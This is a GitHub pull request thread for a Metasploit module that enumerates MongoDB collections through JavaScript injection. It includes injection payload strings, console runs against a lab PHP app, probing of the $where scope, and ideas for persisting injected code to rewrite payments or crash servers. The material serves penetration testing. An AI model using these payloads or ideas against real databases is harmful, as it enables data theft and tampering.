Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Generic MongoDB javascript injection collection enumeration #3430

Merged
merged 5 commits into from
Jun 12, 2014
Merged

Generic MongoDB javascript injection collection enumeration #3430

merged 5 commits into from
Jun 12, 2014

Conversation

brandonprry
Copy link
Contributor

This module was tested against a small php application I wrote interfacing with MongoDB 2.2.7. It should be generic enough to work against a few injection vectors. It is based on a vuln I found in an un-named application. The code was inspired by official php documentation example three.

https://gist.github.com/brandonprry/c2de8ac2be825007c4de
http://www.php.net//manual/en/mongocollection.find.php

The technique used to enumerate the collections is only available in version of MongoDB prior to 2.4. I tested against MongoDB 2.2.7.

msf auxiliary(nosql_injection_collection_enum) > show options

Module options (auxiliary/gather/nosql_injection_collection_enum):

   Name       Current Setting               Required  Description
   ----       ---------------               --------  -----------
   Proxies                                  no        Use a proxy chain
   RHOST      192.168.1.128                 yes       The target address
   RPORT      8080                          yes       The target port
   TARGETURI  /index.php?race=fdsa[NoSQLi]  yes       Full vulnerable URI with [NoSQLi] where the injection point is
   VHOST                                    no        HTTP server virtual host

msf auxiliary(nosql_injection_collection_enum) > run

[*] Testing ";return+true;var+foo="
[*] Testing ';return+true;var+foo='
[*] Testing '||this||'
[*] Looks like '||this||' works
[*] 2 collections are available
[*] Length of collection 0's name is 9
[*] Collections 0's name is phpmanual
[*] Length of collection 1's name is 14
[*] Collections 1's name is systemindexes
[*] Auxiliary module execution completed
msf auxiliary(nosql_injection_collection_enum) > 

This module was tested against a small php application I wrote interfacing with MongoDB 2.2.7

https://gist.github.com/brandonprry/c2de8ac2be825007c4de
@brandonprry
Copy link
Contributor Author

FWIW, this worked against both un-named application and my small PHP script.

I am not 100% sure I am not making poor assumptions about application behavior. This type of module could probably be updated to accommodate another application found that may behave slightly differently.

This adds a bit more error handling, and better decision making in regards to false responses.
No need to make extra requests. Off by one.
@brandonprry
Copy link
Contributor Author

Bah, I have broken something.

Fix some logic bugs that caused incorrect results.
@brandonprry
Copy link
Contributor Author

Unborked

@sempervictus
Copy link
Contributor

Testing, thank you.
Also, where was this a week ago? :) Murphy's law of software release dates...

@brandonprry
Copy link
Contributor Author

Let me know if you run into issues. I ended up needing to use php -S and not apache to host the vuln app. Had a difficult time getting apache to play nice with loading the mongodb driver for some reason. Used CentOS since installing older release versions of software tends to be a bit easier on it.

@brandonprry
Copy link
Contributor Author

Having any issues?

@jvennix-r7
Copy link
Contributor

@brandonprry this is javascript injection into v8 right? I think there could be some sneakier things to do here. Did you try to poke around at what is accessible to js? For example, injected js has some global scope:

 > db.testData.find({$where:"Function('print( Object.getOwnPropertyNames(this) )')()"})

printjson,_funcs2,encodeURI,assert,eval,encodeURIComponent,NumberInt,Map,MaxKey,
URIError,_funcs1,ISODate,Function,_funcs3,Number,Infinity,Object,String,MD5,tojson,
NaN,sleep,unescape,RangeError,isNaN,decodeURI,gc,print,JSON,BinData,EvalError,
Timestamp,printjsononeline,decodeURIComponent,isObject,undefined,Boolean,Error,
hex_md5,isFinite,parseFloat,Array,ReferenceError,SyntaxError,parseInt,DBRef,
fullObject,sortDoc,tojsononeline,NumberLong,doassert,TypeError,tojsonObject,Math,
isNumber,__returnValue,HexData,version,bsonWoCompare,RegExp,Date,MinKey,
isString,__lastres__,DBPointer,escape,ObjectId,obj,UUID

Modifications to objects in this scope seem to get persisted across requests, so there is maybe some way to either

  • inject code that eventually is run in a context with more keys (shells)
  • inject code that is run on every query

@brandonprry
Copy link
Contributor Author

I did, I was not able get a shell with it, and I am not sure why having
injected JS run on every query would be useful.

The JS interpreter in the the 'mongo' shell has powers that the $where
variable does not have.

On Tue, Jun 10, 2014 at 2:11 AM, jvennix-r7 notifications@github.com
wrote:

@brandonprry https://github.com/brandonprry this is javascript
injection into v8 right? I think there could be some sneakier things to do
here. Did you try to poke around at what is accessible to js? For example,
injected js has some global scope:

db.testData.find({$where:"Function('print( Object.getOwnPropertyNames(this) )')()"})

printjson,_funcs2,encodeURI,assert,eval,encodeURIComponent,NumberInt,Map,MaxKey,URIError,_funcs1,ISODate,Function,_funcs3,Number,Infinity,Object,String,MD5,tojson,NaN,sleep,unescape,RangeError,isNaN,decodeURI,gc,print,JSON,BinData,EvalError,Timestamp,printjsononeline,decodeURIComponent,isObject,undefined,Boolean,Error,hex_md5,isFinite,parseFloat,Array,ReferenceError,SyntaxError,parseInt,DBRef,fullObject,sortDoc,tojsononeline,NumberLong,doassert,TypeError,tojsonObject,Math,isNumber,__returnValue,HexData,version,bsonWoCompare,RegExp,Date,MinKey,isString,lastres,DBPointer,escape,ObjectId,obj,UUID

Modifications to objects in this scope seem to get persisted across
requests, so there is maybe some way to either

  • inject code that eventually is run in a context with more keys
    (shells)
  • inject code that is run on every query


Reply to this email directly or view it on GitHub
#3430 (comment)
.

http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website

@todb-r7 todb-r7 added the module label Jun 10, 2014
@jvennix-r7
Copy link
Contributor

Aw okay. Looking at the source most things appear pretty sandboxed. I couldn't figure out where the db object you are using to scrape collections is being added to the scope, so maybe php is adding some things (which would be very strange), or different versions of mongodb do not expose this global. I'll do some full testing today or tomorrow (for now I was just messing with mongodb console).

Persisted js could be used to dos, e.g. replace Function.prototype.call with while(true){}, or by an attacker to explicitly rewrite specific queries in the future (if sendAmount > 0 set sentAmount = 9999999 and set recipient = attacker123), and is generally evil, but not much usecase for this module's purposes.

@brandonprry
Copy link
Contributor Author

Yes, the db object was removed in 2.4. The original app I tested was 2.2.7 and that was what I installed in my demo box with the vuln PHP script linked in the first post.

@jvennix-r7
Copy link
Contributor

Ah, reading the module description helps too :) Okay, that makes sense now.

@jvennix-r7
Copy link
Contributor

In newer mongo looks like DBRef (accessible from the Function() global lookup trick above) still holds db in its closure:

> DBRef.prototype.fetch
function (){
    assert(this.$ref, "need a ns");
    assert(this.$id, "need an id");
    return db[ this.$ref ].findOne({ _id : this.$id });
}

So there may still be ways to get this to work past 2.4. Assuming db shares its object graph with the execution context, maybe something like this:

# add a global property lookup for 'blahblah'
> Object.defineProperty(Object.prototype, 'blahblah', {get: function(){
    print('this should be db: '+this);
    /* this.getCollections...  scraping code goes here */
}})

# run the DBRef.prototype.fetch function in a stubbed context
> DBRef.prototype.fetch.call({$ref:'blahblah', $id:1})

Will give this a shot after I have the php bits set up.

@brandonprry
Copy link
Contributor Author

That would be so awesome. :)

On Tue, Jun 10, 2014 at 11:07 AM, jvennix-r7 notifications@github.com
wrote:

In newer mongo looks like DBRef (accessible from the Function() global
lookup trick above) still holds db in its closure:

DBRef.prototype.fetch
function (){
assert(this.$ref, "need a ns");
assert(this.$id, "need an id");
return db[ this.$ref ].findOne({ _id : this.$id });
}

So there may still be ways to get this to work past 2.4. Assuming db
shares its object graph with the execution context, maybe something like
this:

add a global property lookup for 'blahblah'

Object.defineProperty(Object.prototype, 'blahblah', {get: function(){
print('this should be db: '+this);
/* this.getCollections... scraping code goes here */
}})

run the DBRef.prototype.fetch function in a stubbed context

DBRef.prototype.fetch.call({$ref:'blahblah', $id:1})

Will give this a shot after I have the php bits set up.


Reply to this email directly or view it on GitHub
#3430 (comment)
.

http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website

@jvennix-r7
Copy link
Contributor

Played around in the mongo shell for a bit just now. Looks like the db reference is populated somehow in the DBRef constructor, so without a valid pre-build DBRef object, the function hooking does not get you anywhere. Oh well. I'll take another look tonight to see when DBRef is used by the $where but nothing else is jumping out at me that would allow this to work > 2.4.

Now to go report the mongod crashes I ran into while testing this :(

@brandonprry
Copy link
Contributor Author

Thanks for testing. :)

@brandonprry
Copy link
Contributor Author

Doing a bit of research on DBRef, maybe we can instantiate it ourselves?

http://mongodb.github.io/node-mongodb-native/api-bson-generated/db_ref.html

However, we may not have access to the ctor either, read the big green box at the bottom of this page: http://docs.mongodb.org/manual/reference/operator/query/where/

EDIT: Actually, I see DBRef in that box. So that might work?

@jvennix-r7
Copy link
Contributor

@brandonprry hrm... well looks I can instantiate it fine, but the db key does not exist in neither the closure that the DBRef function is defined in nor global scope that the $where is executed in, so trying to #fetch fails like so:

> db.testData.find({$where:"d=new DBRef('1','2');d.fetch();"})
error: {
        "$err" : "ReferenceError: db is not defined at src/mongo/shell/types.js:389",
        "code" : 16722
}

So I am thinking, db is never held in a closure as I hoped, but is just resolved into global scope, and $where's global scope (that list I dumped) of course does not have it.

Frustrating.

@brandonprry
Copy link
Contributor Author

Boo, oh well.

@jvennix-r7
Copy link
Contributor

Okay, grabbing a version < 2.4 to test this module out. Thanks for putting up with my incessant and verbose spelunkage into mongo's V8 integration :)

@brandonprry
Copy link
Contributor Author

Hahaha no worries at all dude, lets make the module the best it can be!

Sent from a computer

On Jun 10, 2014, at 4:53 PM, jvennix-r7 notifications@github.com wrote:

Okay, grabbing a version < 2.4 to test this module out. Thanks for putting up with my incessant and verbose spelunkage into mongo's V8 integration :)


Reply to this email directly or view it on GitHub.

@jvennix-r7
Copy link
Contributor

Verification tests performed:

  • Install mongo/lamp stack

  • Get test php rendering

  • Connect to mongodb, add some collections to the "test" db to steal:

    $ mongo
    > use test
    > db.phpmanual.insert({a:1})
    > db.stealme.insert({x:2})
    > db.stealme2.insert({x:2})
    
  • Run module against php script, it should enumerate the "phpmanual", "stealme", and "stealme2" collections.

    msf> use auxiliary/gather/mongodb_js_inject_collection_enum
    msf> set RHOST 192.168.53.226
    msf> set RPORT 80
    msf> run
    

@jvennix-r7
Copy link
Contributor

Oh man, so close. There was one bug, otherwise it scraped all the collections just fine. Here are the collections in my db:

> show collections
joe
phpmanual
system.indexes
system.users
testData

And here is the result of running the module:

msf auxiliary(mongodb_js_inject_collection_enum) > run

[*] Testing "'||this||'
[*] Testing "';return+true;var+foo='
[*] Testing '"||this||"
[*] Testing '";return+true;var+foo="
[*] Testing ||this
[*] Looks like ||this works
[*] 5 collections are available
[*] Length of collection 0's name is 3
[*] Collections 0's name is joe
[*] Length of collection 1's name is 9
[*] Collections 1's name is phpmanual
[*] Length of collection 2's name is 14
[*] Collections 2's name is systemindexes
[*] Length of collection 3's name is 12
[*] Collections 3's name is systemusers
[*] Length of collection 4's name is 8
[*] Collections 4's name is testata
[*] Auxiliary module execution completed

So somewhere along the way the "D" in the "testData" db was dropped. Additionally, it does not seem to find the "." in the collection names. I think you need to add upcase chars and the "." char to your charset [*('a'..'z'),*('0'..'9')].

@brandonprry
Copy link
Contributor Author

Damn, nice catch. I can update this tonight after work.

@jvennix-r7
Copy link
Contributor

Also if you could serialize the collection names into json and store_loot on the results, that would be pretty handy. You'll need to include Msf::Auxiliary::Report in the module.

@brandonprry
Copy link
Contributor Author

Yeah, that's cool too. Wasn't sure if that would be useful.

@jvennix-r7
Copy link
Contributor

Cool, I'll take a look again tomorrow. I played with injecting some db.adminCommand calls to clone remote collections (so that the database's contents could be exfiltrated by shoving the rows into the username/password fields and connecting back to msfconsole), but you really can't do much because mongodb sets a read lock during evaluation of the $where, which prevents any of the management commands from working well.

I did discover that memory addresses are leaked to javascript as "threadId" attributes of the system status, which coud make the exploit/linux/misc/mongod_native_helper eip control exploit much more feasible on a 64-bit machine.

@jvennix-r7
Copy link
Contributor

Also, if the mongo instance is sharded or replicated (requires command line args when starting mongod), I think an attacker could potentially steal the db contents by adding his own node to the cluster. I didn't look much into this, since I don't think it would be feasible with just metasploit.

@brandonprry
Copy link
Contributor Author

Yeah, that was something I fought with in my head, what makes sense in the context of Metasploit? I felt like collection enumeration did enough to prove exploitability without needing to make a full-blown sqlmap clone as a module.

@jvennix-r7
Copy link
Contributor

Agreed, this module has a good balance of being lightweight while still remaining valuable to a pentester who encounters a mongo injection.


vprint_status("Getting collection names")

(0..length-1).each do |i|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use an exclusive (...) range here instead of limit-1, although length.times do |i| is a bit easier to read.

@brandonprry
Copy link
Contributor Author

Updated, I went ahead and used the exclusive operator for the loop.

@brandonprry
Copy link
Contributor Author

msf auxiliary(nosql_injection_collection_enum) > rerun
[*] Reloading module...

[*] Testing "'||this||'
[*] Testing "';return+true;var+foo='
[*] Testing '"||this||"
[*] Testing '";return+true;var+foo="
[*] Testing ||this
[*] Looks like ||this works
[*] 4 collections are available
[*] Length of collection 0's name is 3
[*] Collections 0's name is foo
[*] Length of collection 1's name is 4
[*] Collections 1's name is fooD
[*] Length of collection 2's name is 9
[*] Collections 2's name is phpmanual
[*] Length of collection 3's name is 14
[*] Collections 3's name is system.indexes
[+] Your collections are located at: /home/bperry/.msf4/loot/20140611170648_default_unknown_mongo_injection._512261.txt
[*] Auxiliary module execution completed
msf auxiliary(nosql_injection_collection_enum) > 

@brandonprry
Copy link
Contributor Author

And, for thoroughness sake, here is a run on one of the other syntaxes.

msf auxiliary(nosql_injection_collection_enum) > set TARGETURI /index.php?weight=32[NoSQLi]
TARGETURI => /index.php?weight=32[NoSQLi]
msf auxiliary(nosql_injection_collection_enum) > run

[*] Testing "'||this||'
[*] Testing "';return+true;var+foo='
[*] Testing '"||this||"
[*] Testing '";return+true;var+foo="
[*] Looks like '";return+true;var+foo=" works
[*] 4 collections are available
[*] Length of collection 0's name is 3
[*] Collections 0's name is foo
[*] Length of collection 1's name is 4
[*] Collections 1's name is fooD
[*] Length of collection 2's name is 9
[*] Collections 2's name is phpmanual
[*] Length of collection 3's name is 14
[*] Collections 3's name is system.indexes
[+] Your collections are located at: /home/bperry/.msf4/loot/20140611183352_default_unknown_mongo_injection._513772.txt
[*] Auxiliary module execution completed
msf auxiliary(nosql_injection_collection_enum) > 

@jvennix-r7
Copy link
Contributor

Works well, merging

@jvennix-r7 jvennix-r7 merged commit cca91dd into rapid7:master Jun 12, 2014
@brandonprry
Copy link
Contributor Author

Awesome, dude! Thanks so much!

@todb-r7
Copy link

todb-r7 commented Jun 12, 2014

@jvennix-r7 thanks for landing this, but please check msftidy.rb when you do; there's a quickie howto here:

https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#git-hooks

Travis-CI will be doing this automatically soon so we don't have to rely on individual commiters to check this every time.

@brandonprry
Copy link
Contributor Author

Oh no! It was passing msftidy, but I admit I didn't run it on the last
commit. That is my fault!

On Thu, Jun 12, 2014 at 1:25 PM, Tod Beardsley notifications@github.com
wrote:

@jvennix-r7 https://github.com/jvennix-r7 thanks for landing this, but
please check msftidy.rb when you do; there's a quickie howto here:

https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#git-hooks

Travis-CI will be doing this automatically soon so we don't have to rely
on individual commiters to check this every time.


Reply to this email directly or view it on GitHub
#3430 (comment)
.

http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants